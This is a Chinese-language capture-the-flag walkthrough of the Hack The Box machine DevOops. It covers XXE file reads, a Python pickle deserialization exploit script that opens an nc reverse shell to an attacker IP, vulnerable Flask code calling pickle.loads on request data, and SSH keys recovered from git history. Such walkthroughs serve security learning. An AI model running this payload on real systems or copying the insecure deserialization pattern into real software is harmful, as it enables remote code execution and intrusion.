HTB-DevOops
- 信息收集
- 5000端口
- 立足
- python反序列化攻击
- XEE读取SSH
- root
信息收集
5000端口
根据文字所述,下面的图片是feed.py。
目录扫描
/upload如下:
上传测试xml文件。
得到反馈
怀疑是标签不匹配,尝试寻找匹配的标签。前面首页有提示:XML elements: Author, Subject, Content
。
构造XML如下:
<?xml version="1.0" encoding="UTF-8"?>
<channel>
<Author>Aster</Author>
<Subject>XEE TEST</Subject>
<Content>TEST :)</Content>
</channel>
XEE利用,外部实体访问/etc/passwd。
立足
python反序列化攻击
找找看feed.py在哪里,就在当前目录下。
def uploaded_file(filename):
return send_from_directory(Config.UPLOAD_FOLDER,
filename)
@app.route("/")
def xss():
return template('index.html')
@app.route("/feed")
def fakefeed():
return send_from_directory(".","devsolita-snapshot.png")
@app.route("/newpost", methods=["POST"])
def newpost():
# TODO: proper save to database, this is for testing purposes right now
picklestr = base64.urlsafe_b64decode(request.data)
# return picklestr
postObj = pickle.loads(picklestr)
return "POST RECEIVED: " + postObj['Subject']
## TODO: VERY important! DISABLED THIS IN PRODUCTION
#app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')
# TODO: Replace run-gunicorn.sh with real Linux service script
# app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')
if __name__ == "__main__":
app.run(host='0.0.0,0', Debug=True)
有一个/newpost,并且功能是以POST请求访问/newpost,POST的data会被url解码,接着被反序列化。这里存在一个python的反序列化攻击。
import pickle
import requests
from base64 import urlsafe_b64encode
import os
url = "http://10.10.10.91:5000/newpost"
ip = "10.10.14.31"
port = 443
payload = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %i >/tmp/f" %(ip,port)
print(payload)
class poc(object):
def __reduce__(self):
return (os.system,(payload,))
postdata = urlsafe_b64encode(pickle.dumps(poc()))
print("[*]Sending data:%s" % postdata)
res = requests.post(url,data=postdata)
XEE读取SSH
在前面读取/etc/passwd的基础上,进一步读取roosa用户的ssh id_rsa。
git用户的读取失败。
roosa根目录存在gitconfig文件以及run-blogfeed.sh可执行文件run-blogfeed.sh的内容如下:
知道了blogfeed的路径:/home/roosa/work/blogfeed/src
,跟随来到目录。
root
有.git文件,可能会涉及到git的回滚。使用git log查看commit history。
使用git diff 1422e5a04d1b52a44e6dc81023420347e257ee5f在最早的commit发现了一个ssh的私钥。
可能是ssh的私钥错的,继续看commit,git diff d387abf63e05c9628a59195cec9311751bdb283f
。